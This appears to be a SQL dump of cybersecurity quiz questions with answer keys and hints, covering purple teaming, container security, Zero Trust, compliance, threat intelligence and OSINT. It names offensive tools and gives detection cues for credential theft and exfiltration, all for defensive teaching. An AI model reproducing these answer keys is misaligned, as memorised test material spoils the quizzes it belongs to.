(6284, 406, 'What is Purple Teaming?', 2, 'Collaboration between Red and Blue', 0, 'Together', '2025-12-27 02:22:24', '[\"Only offense\", \"Collaboration between Red and Blue\", \"Only defense\", \"Compliance\"]'),
(6285, 406, 'Which tool extracts Windows credentials?', 3, 'Mimikatz', 0, 'Creds', '2025-12-27 02:22:24', '[\"BloodHound\", \"Mimikatz\", \"Cobalt Strike\", \"Nmap\"]'),
(6286, 406, 'What is a honeytoken?', 4, 'Fake data that alerts when accessed', 0, 'Trap', '2025-12-27 02:22:24', '[\"Password\", \"Fake data that alerts when accessed\", \"Log file\", \"Backup\"]'),
(6287, 406, 'What framework automates adversary emulation?', 5, 'MITRE Caldera', 0, 'Automation', '2025-12-27 02:22:24', '[\"Metasploit\", \"MITRE Caldera\", \"Wireshark\", \"Burp\"]'),
(6288, 406, 'What happens after Blue fails to detect in Purple Team?', 6, 'Create or improve detection rules', 0, 'Improve', '2025-12-27 02:22:24', '[\"Blame Red\", \"Create or improve detection rules\", \"Ignore it\", \"Fire someone\"]'),
(6289, 411, 'Why establish a baseline before exercises?', 1, 'To distinguish attack activity from normal behavior', 0, 'Compare', '2025-12-27 02:26:00', '[\"It is required by law\", \"To distinguish attack activity from normal behavior\", \"To slow things down\", \"No reason\"]'),
(6290, 411, 'What should be documented for each exercise?', 2, 'Technique, execution steps, expected detection, results', 0, 'Everything', '2025-12-27 02:26:00', '[\"Nothing\", \"Technique, execution steps, expected detection, results\", \"Only failures\", \"Only successes\"]'),
(6291, 411, 'Which tool provides a library of technique tests?', 3, 'Atomic Red Team', 0, 'Library', '2025-12-27 02:26:00', '[\"Splunk\", \"Atomic Red Team\", \"Wireshark\", \"Nmap\"]'),
(6292, 412, 'Which Sysmon Event ID indicates process access to LSASS?', 1, 'Event ID 10', 0, 'Access', '2025-12-27 02:26:00', '[\"Event ID 1\", \"Event ID 10\", \"Event ID 11\", \"Event ID 22\"]'),
(6293, 412, 'What is DCSync?', 2, 'Replicating AD credentials by impersonating a domain controller', 0, 'Replication', '2025-12-27 02:26:00', '[\"Syncing files\", \"Replicating AD credentials by impersonating a domain controller\", \"Backing up\", \"Logging\"]'),
(6294, 412, 'Which Windows event logs DCSync activity?', 3, 'Security Event 4662 (replication rights)', 0, 'AD', '2025-12-27 02:26:00', '[\"Sysmon 1\", \"Security Event 4662 (replication rights)\", \"Application log\", \"System log\"]'),
(6295, 413, 'What does PsExec create on the remote host?', 1, 'A service (PSEXESVC)', 0, 'Service', '2025-12-27 02:26:00', '[\"A file only\", \"A service (PSEXESVC)\", \"Nothing\", \"A registry key\"]'),
(6296, 413, 'Which parent-child relationship is suspicious for WMI?', 2, 'WmiPrvSE.exe spawning cmd.exe or powershell.exe', 0, 'Process tree', '2025-12-27 02:26:00', '[\"svchost → notepad\", \"WmiPrvSE.exe spawning cmd.exe or powershell.exe\", \"explorer → chrome\", \"lsass → svchost\"]'),
(6297, 413, 'Windows Event 7045 indicates:', 3, 'A new service was installed', 0, 'Service', '2025-12-27 02:26:00', '[\"Login\", \"A new service was installed\", \"File access\", \"Network connection\"]'),
(6298, 414, 'What indicates DNS tunneling?', 1, 'High query volume, unusually long subdomains', 0, 'DNS', '2025-12-27 02:26:00', '[\"Slow DNS\", \"High query volume, unusually long subdomains\", \"No DNS\", \"Fast DNS\"]'),
(6299, 414, 'Why monitor uploads to cloud storage domains?', 2, 'Attackers exfiltrate to Dropbox, Google Drive, etc.', 0, 'Cloud exfil', '2025-12-27 02:26:00', '[\"It is slow\", \"Attackers exfiltrate to Dropbox, Google Drive, etc.\", \"Cloud is unsafe\", \"For compliance\"]'),
(6300, 414, 'Which HTTP method is commonly used for exfiltration?', 3, 'POST', 0, 'Upload', '2025-12-27 02:26:00', '[\"GET\", \"POST\", \"DELETE\", \"HEAD\"]'),
(6301, 415, 'What does Detection Rate measure?', 1, 'Percentage of executed techniques that were detected', 0, 'Success', '2025-12-27 02:26:00', '[\"Speed\", \"Percentage of executed techniques that were detected\", \"Cost\", \"Size\"]'),
(6302, 415, 'Why use ATT&CK Navigator heatmaps?', 2, 'Visualize detection coverage across techniques', 0, 'Visualization', '2025-12-27 02:26:00', '[\"It is pretty\", \"Visualize detection coverage across techniques\", \"Required by law\", \"For fun\"]'),
(6303, 415, 'How often should Purple Team exercises occur?', 3, 'Regularly (monthly or quarterly)', 0, 'Recurring', '2025-12-27 02:26:00', '[\"Once ever\", \"Regularly (monthly or quarterly)\", \"Never\", \"Only after breaches\"]'),
(6304, 416, 'Which Sysmon event indicates process access to LSASS?', 1, 'Event ID 10', 0, 'Credential', '2025-12-27 02:26:00', '[\"1\", \"Event ID 10\", \"Event ID 11 \", \"Event ID 22\"]'),
(6305, 416, 'PsExec creates what on remote hosts?', 2, 'A service (PSEXESVC)', 0, 'Remote', '2025-12-27 02:26:00', '[\"A file\", \"A service (PSEXESVC)\", \"Nothing\", \"A user\"]'),
(6306, 416, 'DNS tunneling is characterized by:', 3, 'Long subdomains, high query volume', 0, 'DNS', '2025-12-27 02:26:00', '[\"Fast lookups\", \"Long subdomains, high query volume\", \"No queries\", \"Short names\"]'),
(6307, 416, 'Detection Rate formula:', 4, '(Detected / Executed) x 100', 0, 'Metric', '2025-12-27 02:26:00', '[\"Executed / Detected\", \"(Detected / Executed) x 100\", \"Random\", \"None\"]'),
(6308, 416, 'What should happen after deploying new detection?', 5, 'Re-test the technique', 0, 'Validate', '2025-12-27 02:26:00', '[\"Nothing\", \"Re-test the technique\", \"Delete old alerts\", \"Wait\"]'),
(6309, 416, 'What is Time to Detect (TTD)?', 6, 'Time between execution and alert', 0, 'Speed', '2025-12-27 02:26:00', '[\"Time to delete\", \"Time between execution and alert\", \"Time to report\", \"Time to lunch\"]'),
(6310, 421, 'How does container isolation differ from VMs?', 1, 'Containers share the host kernel; VMs have full kernel isolation', 0, 'Kernel', '2025-12-27 02:27:22', '[\"No difference\", \"Containers share the host kernel; VMs have full kernel isolation\", \"VMs are less secure\", \"Containers are slower\"]'),
(6311, 421, 'What is the risk of container escape?', 2, 'Attacker gains access to the host and other containers', 0, 'Host', '2025-12-27 02:27:22', '[\"Nothing\", \"Attacker gains access to the host and other containers\", \"Container restarts\", \"Performance drop\"]'),
(6312, 421, 'What standard provides Kubernetes hardening guidance?', 3, 'CIS Kubernetes Benchmark', 0, 'CIS', '2025-12-27 02:27:22', '[\"ISO 27001\", \"CIS Kubernetes Benchmark\", \"PCI DSS\", \"HIPAA\"]'),
(6313, 422, 'Why avoid --privileged flag?', 1, 'It gives the container full host capabilities', 0, 'Root', '2025-12-27 02:27:22', '[\"It is slow\", \"It gives the container full host capabilities\", \"It uses more memory\", \"No reason\"]'),
(6314, 422, 'What does --cap-drop=ALL do?', 2, 'Removes all Linux capabilities from the container', 0, 'Least privilege', '2025-12-27 02:27:22', '[\"Adds capabilities\", \"Removes all Linux capabilities from the container\", \"Drops the container\", \"Deletes files\"]'),
(6315, 422, 'Which tool audits Docker against CIS Benchmark?', 3, 'Docker Bench Security', 0, 'Audit', '2025-12-27 02:27:22', '[\"Nmap\", \"Docker Bench Security\", \"Wireshark\", \"Burp Suite\"]'),
(6316, 423, 'What does RBAC control in Kubernetes?', 1, 'Who can do what to which resources', 0, 'Access', '2025-12-27 02:27:22', '[\"Network traffic\", \"Who can do what to which resources\", \"Storage\", \"Logging\"]'),
(6317, 423, 'What is the most restrictive Pod Security Standard?', 2, 'Restricted', 0, 'Strict', '2025-12-27 02:27:22', '[\"Privileged\", \"Baseline\", \"Restricted\", \"None\"]'),
(6318, 423, 'Why use NetworkPolicy?', 3, 'Restrict pod-to-pod communication', 0, 'Segmentation', '2025-12-27 02:27:22', '[\"Faster network\", \"Restrict pod-to-pod communication\", \"More pods\", \"Easier config\"]'),
(6319, 424, 'Which tool scans container images for CVEs?', 1, 'Trivy', 0, 'Scanner', '2025-12-27 02:27:22', '[\"Nmap\", \"Trivy\", \"Wireshark\", \"Metasploit\"]'),
(6320, 424, 'What is Distroless?', 2, 'Container images with no shell or package manager', 0, 'Minimal', '2025-12-27 02:27:22', '[\"A Linux distro\", \"Container images with no shell or package manager\", \"A Docker command\", \"A network tool\"]'),
(6321, 424, 'Why sign container images?', 3, 'Verify provenance and prevent tampering', 0, 'Trust', '2025-12-27 02:27:22', '[\"Faster pulls\", \"Verify provenance and prevent tampering\", \"Smaller size\", \"No reason\"]'),
(6322, 425, 'What does Falco monitor?', 1, 'System calls (syscalls) at runtime', 0, 'Syscall', '2025-12-27 02:27:22', '[\"Network only\", \"System calls (syscalls) at runtime\", \"Files only\", \"Nothing\"]'),
(6323, 425, 'What is a behavioral baseline?', 2, 'Profile of normal container behavior to detect anomalies', 0, 'Normal', '2025-12-27 02:27:22', '[\"A security tool\", \"Profile of normal container behavior to detect anomalies\", \"A network policy\", \"A log file\"]'),
(6324, 425, 'What action can runtime security take on a threat?', 3, 'Kill, pause, or alert on the container', 0, 'Response', '2025-12-27 02:27:22', '[\"Nothing\", \"Kill, pause, or alert on the container\", \"Only log\", \"Restart host\"]'),
(6325, 426, 'Containers share what with the host?', 1, 'The kernel', 0, 'Shared', '2025-12-27 02:27:22', '[\"Nothing\", \"The kernel\", \"The filesystem only\", \"Memory only\"]'),
(6326, 426, 'What does --cap-drop=ALL do?', 2, 'Removes all Linux capabilities', 0, 'Restrict', '2025-12-27 02:27:22', '[\"Adds capabilities\", \"Removes all Linux capabilities\", \"Drops container\", \"Nothing\"]'),
(6327, 426, 'Which tool scans images for CVEs?', 3, 'Trivy', 0, 'Scanner', '2025-12-27 02:27:22', '[\"Nmap\", \"Trivy\", \"Docker\", \"Kubernetes\"]'),
(6328, 426, 'What does RBAC control?', 4, 'Who can access which resources', 0, 'Access', '2025-12-27 02:27:22', '[\"Network\", \"Who can access which resources\", \"Storage\", \"CPU\"]'),
(6329, 426, 'What does Falco monitor?', 5, 'System calls at runtime', 0, 'Runtime', '2025-12-27 02:27:22', '[\"Images\", \"System calls at runtime\", \"Network only\", \"Logs\"]'),
(6330, 426, 'Why use minimal base images?', 6, 'Fewer vulnerabilities, smaller attack surface', 0, 'Less CVEs', '2025-12-27 02:27:22', '[\"Faster\", \"Fewer vulnerabilities, smaller attack surface\", \"Prettier\", \"Cheaper\"]'),
(6331, 431, 'What is the Zero Trust motto?', 1, 'Never trust, always verify', 0, 'Motto', '2025-12-27 02:28:42', '[\"Trust everyone\", \"Never trust, always verify\", \"Trust but verify\", \"Always trust\"]'),
(6332, 431, 'What does \"Assume Breach\" mean?', 2, 'Design security as if attackers are already inside', 0, 'Mindset', '2025-12-27 02:28:42', '[\"Panic\", \"Design security as if attackers are already inside\", \"Give up\", \"Trust more\"]'),
(6333, 431, 'Which NIST document defines Zero Trust Architecture?', 3, 'SP 800-207', 0, 'Standard', '2025-12-27 02:28:42', '[\"SP 800-53\", \"SP 800-207\", \"SP 800-171\", \"SP 800-61\"]'),
(6334, 432, 'In Zero Trust, what replaces network location as the trust boundary?', 1, 'Identity', 0, 'Who', '2025-12-27 02:28:42', '[\"Firewall\", \"Identity\", \"IP address\", \"VPN\"]'),
(6335, 432, 'What is phishing-resistant MFA?', 2, 'FIDO2/WebAuthn hardware keys', 0, 'Strong', '2025-12-27 02:28:42', '[\"SMS codes\", \"FIDO2/WebAuthn hardware keys\", \"Email codes\", \"Security questions\"]'),
(6336, 432, 'Conditional Access decisions are based on:', 3, 'User, device, location, and application risk signals', 0, 'Signals', '2025-12-27 02:28:42', '[\"Random\", \"User, device, location, and application risk signals\", \"Time only\", \"IP only\"]'),
(6337, 433, 'What does microsegmentation prevent?', 1, 'Lateral movement after initial compromise', 0, 'Contain', '2025-12-27 02:28:42', '[\"Authentication\", \"Lateral movement after initial compromise\", \"Logging\", \"Faster network\"]'),
(6338, 433, 'What does ZTNA replace?', 2, 'Traditional VPN', 0, 'VPN', '2025-12-27 02:28:42', '[\"Firewall\", \"Traditional VPN\", \"SIEM\", \"EDR\"]'),
(6339, 433, 'Microsegmentation uses what type of traffic rules?', 3, 'Identity/context-based, not just IP', 0, 'Context', '2025-12-27 02:28:42', '[\"IP only\", \"Identity/context-based, not just IP\", \"Random\", \"None\"]'),
(6340, 434, 'What is continuous verification?', 1, 'Evaluating trust throughout the session, not just at login', 0, 'Ongoing', '2025-12-27 02:28:42', '[\"One-time check\", \"Evaluating trust throughout the session, not just at login\", \"Weekly audit\", \"Never check\"]'),
(6341, 434, 'What is a step-up authentication?', 2, 'Requiring additional verification when risk increases', 0, 'More MFA', '2025-12-27 02:28:42', '[\"Login\", \"Requiring additional verification when risk increases\", \"Password reset\", \"Logout\"]'),
(6342, 434, 'UEBA provides:', 3, 'User and entity behavior analytics', 0, 'Behavior', '2025-12-27 02:28:42', '[\"Firewall rules\", \"User and entity behavior analytics\", \"Encryption\", \"Backups\"]'),
(6343, 435, 'What is the first step in Zero Trust implementation?', 1, 'Identify users, devices, applications, and data', 0, 'Discovery', '2025-12-27 02:28:42', '[\"Deploy firewall\", \"Identify users, devices, applications, and data\", \"Buy tools\", \"Hire staff\"]'),
(6344, 435, 'What are \"Quick Wins\" for Zero Trust?', 2, 'MFA everywhere, conditional access, EDR', 0, 'Easy', '2025-12-27 02:28:42', '[\"Nothing\", \"MFA everywhere, conditional access, EDR\", \"Complete overhaul\", \"Do nothing\"]'),
(6345, 435, 'What should you protect first?', 3, 'Crown jewels (most critical assets)', 0, 'Priority', '2025-12-27 02:28:42', '[\"Everything equally\", \"Crown jewels (most critical assets)\", \"Nothing\", \"Random\"]'),
(6346, 436, 'Zero Trust motto is:', 1, 'Never trust, always verify', 0, 'Motto', '2025-12-27 02:28:42', '[\"Always trust\", \"Never trust, always verify\", \"Trust everyone\", \"Trust but verify\"]'),
(6347, 436, 'In Zero Trust, what is the new perimeter?', 2, 'Identity', 0, 'Boundary', '2025-12-27 02:28:42', '[\"Firewall\", \"Identity\", \"VPN\", \"Router\"]'),
(6348, 436, 'ZTNA replaces:', 3, 'Traditional VPN', 0, 'Access', '2025-12-27 02:28:42', '[\"SIEM\", \"Traditional VPN\", \"EDR\", \"Antivirus\"]'),
(6349, 436, 'Microsegmentation prevents:', 4, 'Lateral movement', 0, 'Contain', '2025-12-27 02:28:42', '[\"Authentication\", \"Lateral movement\", \"Logging\", \"Backup\"]'),
(6350, 436, 'Continuous verification means:', 5, 'Trust is evaluated throughout the session', 0, 'Ongoing', '2025-12-27 02:28:42', '[\"One check\", \"Trust is evaluated throughout the session\", \"Never check\", \"Weekly\"]'),
(6351, 436, 'First step in ZT implementation:', 6, 'Identify users, devices, apps, data', 0, 'Discovery', '2025-12-27 02:28:42', '[\"Buy tools\", \"Identify users, devices, apps, data\", \"Hire\", \"Nothing\"]'),
(6352, 441, 'What is the difference between a framework and compliance?', 1, 'Framework is guidance; compliance is mandatory requirements', 0, 'Difference', '2025-12-27 02:30:07', '[\"Same thing\", \"Framework is guidance; compliance is mandatory requirements\", \"Compliance is optional\", \"Framework is mandatory\"]'),
(6353, 441, 'Why do organizations adopt security frameworks?', 2, 'Common language, best practices, risk management', 0, 'Benefits', '2025-12-27 02:30:07', '[\"For fun\", \"Common language, best practices, risk management\", \"To slow things down\", \"No reason\"]'),
(6354, 441, 'What is an audit?', 3, 'Verification that requirements are met', 0, 'Check', '2025-12-27 02:30:07', '[\"Sales pitch\", \"Verification that requirements are met\", \"Training\", \"Party\"]'),
(6355, 442, 'How many core functions are in NIST CSF?', 1, '5 (Identify, Protect, Detect, Respond, Recover)', 0, 'Five', '2025-12-27 02:30:07', '[\"3\", \"5 (Identify, Protect, Detect, Respond, Recover)\", \"7\", \"10\"]'),
(6356, 442, 'What is a \"Profile\" in NIST CSF?', 2, 'Current or target state of cybersecurity posture', 0, 'State', '2025-12-27 02:30:07', '[\"A social media page\", \"Current or target state of cybersecurity posture\", \"A firewall rule\", \"A user account\"]'),
(6357, 442, 'Which tier represents continuous improvement?', 3, 'Tier 4 - Adaptive', 0, 'Best', '2025-12-27 02:30:07', '[\"Tier 1\", \"Tier 2\", \"Tier 3\", \"Tier 4 - Adaptive\"]'),
(6358, 443, 'What does ISMS stand for?', 1, 'Information Security Management System', 0, 'ISMS', '2025-12-27 02:30:07', '[\"Internal Security Monitoring System\", \"Information Security Management System\", \"Internet Security Module Standard\", \"None\"]'),
(6359, 443, 'How long is ISO 27001 certification valid?', 2, '3 years with annual surveillance audits', 0, 'Three', '2025-12-27 02:30:07', '[\"Forever\", \"3 years with annual surveillance audits\", \"1 year\", \"Monthly\"]'),
(6360, 443, 'What is the purpose of ISO 27002?', 3, 'Guidance on implementing ISO 27001 controls', 0, 'How-to', '2025-12-27 02:30:07', '[\"Certification\", \"Guidance on implementing ISO 27001 controls\", \"Auditing\", \"Pricing\"]'),
(6361, 444, 'Which SOC 2 criterion is always required?', 1, 'Security', 0, 'Core', '2025-12-27 02:30:07', '[\"Availability\", \"Privacy\", \"Security\", \"Integrity\"]'),
(6362, 444, 'What is the difference between SOC 2 Type I and Type II?', 2, 'Type I is point-in-time; Type II tests over a period', 0, 'Duration', '2025-12-27 02:30:07', '[\"Same thing\", \"Type I is point-in-time; Type II tests over a period\", \"Type II is faster\", \"Type I is better\"]'),
(6363, 444, 'Who performs SOC 2 audits?', 3, 'CPA firm (independent auditors)', 0, 'Auditor', '2025-12-27 02:30:07', '[\"Internal team\", \"CPA firm (independent auditors)\", \"Customers\", \"Anyone\"]'),
(6364, 445, 'How many requirements does PCI-DSS have?', 1, '12', 0, 'Twelve', '2025-12-27 02:30:07', '[\"5\", \"10\", \"12\", \"20\"]'),
(6365, 445, 'What does HIPAA protect?', 2, 'PHI (Protected Health Information)', 0, 'Health', '2025-12-27 02:30:07', '[\"Credit cards\", \"PHI (Protected Health Information)\", \"IP addresses\", \"Passwords\"]'),
(6366, 445, 'What is the HIPAA Breach Notification Rule?', 3, 'Report breaches within 60 days', 0, 'Notify', '2025-12-27 02:30:07', '[\"Delete data\", \"Report breaches within 60 days\", \"Hide breach\", \"Nothing\"]'),
(6367, 446, 'NIST CSF has how many core functions?', 1, '5', 0, 'Functions', '2025-12-27 02:30:07', '[\"3\", \"5\", \"7\", \"10\"]'),
(6368, 446, 'ISO 27001 certification lasts:', 2, '3 years', 0, 'Duration', '2025-12-27 02:30:07', '[\"Forever\", \"1 year\", \"3 years\", \"5 years\"]'),
(6369, 446, 'Which SOC 2 criterion is mandatory?', 3, 'Security', 0, 'Required', '2025-12-27 02:30:07', '[\"Privacy\", \"Availability\", \"Security\", \"Integrity\"]'),
(6370, 446, 'PCI-DSS has how many requirements?', 4, '12', 0, 'Count', '2025-12-27 02:30:07', '[\"5\", \"10\", \"12\", \"15\"]'),
(6371, 446, 'HIPAA protects:', 5, 'Protected Health Information (PHI)', 0, 'Health', '2025-12-27 02:30:07', '[\"Credit cards\", \"Protected Health Information (PHI)\", \"Passwords\", \"IP addresses\"]'),
(6372, 446, 'SOC 2 Type II tests controls over:', 6, 'A period of time (6-12 months)', 0, 'Duration', '2025-12-27 02:30:07', '[\"One day\", \"A period of time (6-12 months)\", \"One hour\", \"Never\"]'),
(6976, 765, 'What transforms \"Data\" into \"Intelligence\"?', 1, 'Analysis and Context', 0, 'Data needs processing and analysis to become useful.', '2025-12-29 13:30:44', '[\"Storage\", \"Encryption\", \"Analysis and Context\", \"Transmission\"]'),
(6977, 765, 'Which is an example of \"Intelligence\"?', 2, 'A report advising to block an IP due to active ransomware targeting your industry', 0, 'Intelligence is actionable and relevant.', '2025-12-29 13:30:44', '[\"A log file\", \"A list of IP addresses\", \"A report advising to block an IP due to active ransomware targeting your industry\", \"A spreadsheet of users\"]'),
(6978, 765, 'What is the primary goal of CTI?', 3, 'To support decision making', 0, 'CTI gives stakeholders the info they need to decide.', '2025-12-29 13:30:44', '[\"To hack back\", \"To support decision making\", \"To replace firewalls\", \"To find software bugs\"]'),
(6979, 766, 'Which phase involves setting the goals and requirements?', 1, 'Direction', 0, 'Also called Planning & Direction.', '2025-12-29 13:30:45', '[\"Collection\", \"Direction\", \"Analysis\", \"Feedback\"]'),
(6980, 766, 'Translating a document from Russian to English happens in which phase?', 2, 'Processing', 0, 'Processing converts raw data into a usable format.', '2025-12-29 13:30:45', '[\"Processing\", \"Analysis\", \"Collection\", \"Dissemination\"]'),
(6981, 766, 'Why is Feedback important?', 3, 'It improves future intelligence cycles', 0, 'Feedback ensures the intel met the needs of the consumer.', '2025-12-29 13:30:45', '[\"It saves money\", \"It improves future intelligence cycles\", \"It is required by law\", \"It deletes old data\"]'),
(6982, 767, 'Who is the primary audience for Strategic Intelligence?', 1, 'Executives / CISO', 0, 'High-level decision makers.', '2025-12-29 13:30:45', '[\"SOC Analyst\", \"Penetration Tester\", \"Executives / CISO\", \"Firewall Administrator\"]'),
(6983, 767, 'A list of malicious IP addresses is what type of intelligence?', 2, 'Tactical', 0, 'Tactical intel is used for immediate blocking/detection (IOCs).', '2025-12-29 13:30:45', '[\"Strategic\", \"Operational\", \"Tactical\", \"Technical\"]'),
(6984, 767, 'Information about an adversary\'s habits (TTPs) is...', 3, 'Operational', 0, 'Operational intel explains \"How\" the adversary operates.', '2025-12-29 13:30:45', '[\"Operational\", \"Strategic\", \"Tactical\", \"None\"]'),
(6985, 768, 'What is the \"Pyramid of Value\" order from bottom to top?', 1, 'Data > Information > Intelligence', 0, 'Raw Data -> Processed Info -> Actionable Intel.', '2025-12-29 13:30:45', '[\"Intelligence > Information > Data\", \"Data > Information > Intelligence\", \"Data > Intelligence > Information\", \"None\"]'),
(6986, 768, 'Which phase comes AFTER Collection?', 2, 'Processing', 0, 'After collecting raw data, you must process it.', '2025-12-29 13:30:45', '[\"Direction\", \"Analysis\", \"Processing\", \"Dissemination\"]'),
(6987, 768, 'Tactical Intelligence is best consumed by...', 3, 'Automated Systems / SOC Analysts', 0, 'Machines (SIEM) need lists of IPs/Hashes.', '2025-12-29 13:30:45', '[\"Board of Directors\", \"Automated Systems / SOC Analysts\", \"HR Department\", \"Legal Team\"]'),
(6988, 768, 'Strategic Intelligence focuses on...', 4, 'Long-term risk and trends', 0, 'Big picture for executives.', '2025-12-29 13:30:45', '[\"Long-term risk and trends\", \"Daily alerts\", \"Malware reverse engineering\", \"Network packets\"]'),
(6989, 768, 'What does \"TTP\" stand for?', 5, 'Tactics, Techniques, and Procedures', 0, 'TTPs describe adversary behavior.', '2025-12-29 13:30:45', '[\"Tactics, Techniques, and Procedures\", \"Time To Patch\", \"Threat Tech Protocol\", \"Total Threat Protection\"]'),
(6990, 768, 'In the Intelligence Cycle, what happens during \"Dissemination\"?', 6, 'Intelligence is delivered to consumers', 0, 'Sharing the finished product.', '2025-12-29 13:30:45', '[\"Data is encrypted\", \"Intelligence is delivered to consumers\", \"Data is collected\", \"Requirements are set\"]'),
(6991, 768, 'Why is \"Direction\" the first phase?', 7, 'To define requirements so we know what to look for', 0, 'You need a goal before you start collecting.', '2025-12-29 13:30:45', '[\"To save time\", \"To define requirements so we know what to look for\", \"It is the easiest\", \"Collection is actually first\"]'),
(6992, 768, 'Which is an example of \"Operational\" Intelligence?', 8, 'Report on APT28\'s phishing methods', 0, 'Focuses on Actor behaviors and campaigns.', '2025-12-29 13:30:45', '[\"Hash: abc12345\", \"Global cybercrime cost report\", \"Report on APT28\'s phishing methods\", \"A firewall log\"]'),
(6993, 768, 'What is \"Data\"?', 9, 'Raw, unprocessed facts', 0, 'The base of the pyramid.', '2025-12-29 13:30:45', '[\"Analyzed insight\", \"Raw, unprocessed facts\", \"Contextualized info\", \"A report\"]'),
(6994, 768, 'Feedback helps to...', 10, 'Close the loop and improve the next cycle', 0, 'Continuous improvement.', '2025-12-29 13:30:45', '[\"Close the loop and improve the next cycle\", \"Delete data\", \"Stop the cycle\", \"Archive logs\"]'),
(6995, 769, 'What defines OSINT?', 1, 'Data from publicly available sources', 0, 'Open Source = Public.', '2025-12-29 13:30:45', '[\"Hacking servers\", \"Data from publicly available sources\", \"Spying on private emails\", \"Inside knowledge\"]'),
(6996, 769, 'Which is an example of Passive Reconnaissance?', 2, 'Searching Google for the company name', 0, 'Passive means no direct contact with the target systems.', '2025-12-29 13:30:45', '[\"Port scanning the target\", \"Trying to login\", \"Searching Google for the company name\", \"Sending a phishing email\"]'),
(6997, 769, 'What is a \"Sock Puppet\"?', 3, 'A fake online identity used for research', 0, 'Used to protect your real identity during investigations.', '2025-12-29 13:30:45', '[\"A type of malware\", \"A fake online identity used for research\", \"A VPN provider\", \"A hacking tool\"]'),
(6998, 770, 'Which DNS record shows the IP address of a domain?', 1, 'A', 0, 'A record maps Name to IPv4.', '2025-12-29 13:30:45', '[\"MX\", \"A\", \"TXT\", \"NS\"]'),
(6999, 770, 'What is the best source for finding subdomains via SSL certificates?', 2, 'Certificate Transparency Logs (crt.sh)', 0, 'CT logs serve as a permanent record of all issued certificates.', '2025-12-29 13:30:45', '[\"WHOIS\", \"Certificate Transparency Logs (crt.sh)\", \"Ping\", \"Traceroute\"]'),
(7000, 770, 'Why check MX records?', 3, 'To see who handles their email (e.g., Google vs Microsoft)', 0, 'Mail Exchanger records point to the mail server.', '2025-12-29 13:30:45', '[\"To find the website IP\", \"To see who handles their email (e.g., Google vs Microsoft)\", \"To find employee passwords\", \"To see browsing history\"]'),
(7001, 771, 'What is the danger of interacting with threat actors on Telegram?', 1, 'It ruins OPSEC and can be illegal', 0, 'Passive observation is the rule.', '2025-12-29 13:30:45', '[\"You might make friends\", \"It ruins OPSEC and can be illegal\", \"They will ban you\", \"It costs money\"]'),
(7002, 771, 'What is \"Sherlock\" used for?', 2, 'Username enumeration across platforms', 0, 'Finds where else a username exists.', '2025-12-29 13:30:45', '[\"Password cracking\", \"Username enumeration across platforms\", \"WiFi hacking\", \"Decryption\"]'),
(7003, 771, 'Which platform is best for finding corporate hierarchy and tech stacks?', 3, 'LinkedIn', 0, 'The professional network.', '2025-12-29 13:30:45', '[\"TikTok\", \"LinkedIn\", \"Snapchat\", \"Pinterest\"]'),
(7004, 772, 'Which Google Dork finds PDF files?', 1, 'filetype:pdf', 0, 'Standard Google operator.', '2025-12-29 13:30:45', '[\"filetype:pdf\", \"ext:pdf\", \"search:pdf\", \"pdf:yes\"]'),
(7005, 772, 'What does Shodan crawl?', 2, 'Devices and Ports', 0, 'The search engine for the Internet of Things.', '2025-12-29 13:30:45', '[\"Web pages\", \"Devices and Ports\", \"Social Media\", \"Emails\"]'),
(7006, 772, 'Maltego is primarily used for...', 3, 'Visual Link Analysis', 0, 'Graph-based visualization.', '2025-12-29 13:30:45', '[\"Brute forcing\", \"Visual Link Analysis\", \"Coding\", \"Firewalling\"]'),
(7007, 773, 'What does OPSEC stand for?', 1, 'Operational Security', 0, 'Protecting your operations.', '2025-12-29 13:30:45', '[\"Open Security\", \"Operational Security\", \"Optional Security\", \"Operation Secrecy\"]'),
(7008, 773, 'Passive Reconnaissance involves...', 2, 'No direct contact with the target', 0, 'staying invisible.', '2025-12-29 13:30:45', '[\"Touching the target\", \"No direct contact with the target\", \"Hacking the target\", \"Asking the target questions\"]'),
(7009, 773, 'A \"Sock Puppet\" should...', 3, 'Have a realistic backstory and no link to you', 0, 'To blend in.', '2025-12-29 13:30:45', '[\"Be linked to your real identity\", \"Have a realistic backstory and no link to you\", \"Be an empty profile\", \"Use your work email\"]'),
(7010, 773, 'Which DNS record helps map Email infrastructure?', 4, 'MX', 0, 'Mail Exchanger.', '2025-12-29 13:30:45', '[\"A\", \"MX\", \"CNAME\", \"PTR\"]'),
(7011, 773, 'Which tool archives historical versions of websites?', 5, 'Wayback Machine', 0, 'Archive.org.', '2025-12-29 13:30:45', '[\"Shodan\", \"Wayback Machine\", \"Nmap\", \"Wireshark\"]'),
(7012, 773, 'What is \"Google Dorking\"?', 6, 'Using advanced search operators to find sensitive info', 0, 'Advanced search queries.', '2025-12-29 13:30:45', '[\"Hacking Google servers\", \"Using advanced search operators to find sensitive info\", \"Creating fake Google accounts\", \"Deleting Google results\"]'),
(7013, 773, 'Shodan is best for finding...', 7, 'Webcams, Servers, and IoT devices', 0, 'Internet connected hardware.', '2025-12-29 13:30:45', '[\"People\", \"Webcams, Servers, and IoT devices\", \"News articles\", \"Credit cards\"]'),
(7014, 773, 'Why search \"Certificate Transparency\" logs?', 8, 'To discover subdomains', 0, 'Certs reveal hostnames.', '2025-12-29 13:30:45', '[\"To find passwords\", \"To discover subdomains\", \"To update SSL\", \"To hide traffic\"]'),
(7015, 773, 'What information does WHOIS provide?', 9, 'Domain ownership and registration data', 0, 'Registrar info.', '2025-12-29 13:30:45', '[\"Domain ownership and registration data\", \"Website source code\", \"Database passwords\", \"User traffic\"]'),
(7016, 773, 'Which platform is most useful for corporate reconnaissance (employees, jobs)?', 10, 'LinkedIn', 0, 'Professional context.', '2025-12-29 13:30:45', '[\"Instagram\", \"LinkedIn\", \"Twitch\", \"Snapchat\"]'),
(7017, 774, 'What is Static Analysis?', 1, 'Analyzing the file without execution', 0, 'Looking at the code/properties at rest.', '2025-12-29 13:38:32', '[\"Running the malware\", \"Analyzing the file without execution\", \"Deleting the file\", \"Updating antivirus\"]'),
(7018, 774, 'Which tool captures network traffic during Dynamic Analysis?', 2, 'Wireshark', 0, 'Packet analyzer.', '2025-12-29 13:38:32', '[\"Wireshark\", \"Notepad\", \"Calculator\", \"Zip\"]'),
(7019, 774, 'Why use a Sandbox?', 3, 'To isolate the malware so it doesn\'t infect the host', 0, 'Safety first.', '2025-12-29 13:38:32', '[\"To play with sand\", \"To isolate the malware so it doesn\'t infect the host\", \"To make the computer faster\", \"To encrypt the virus\"]'),
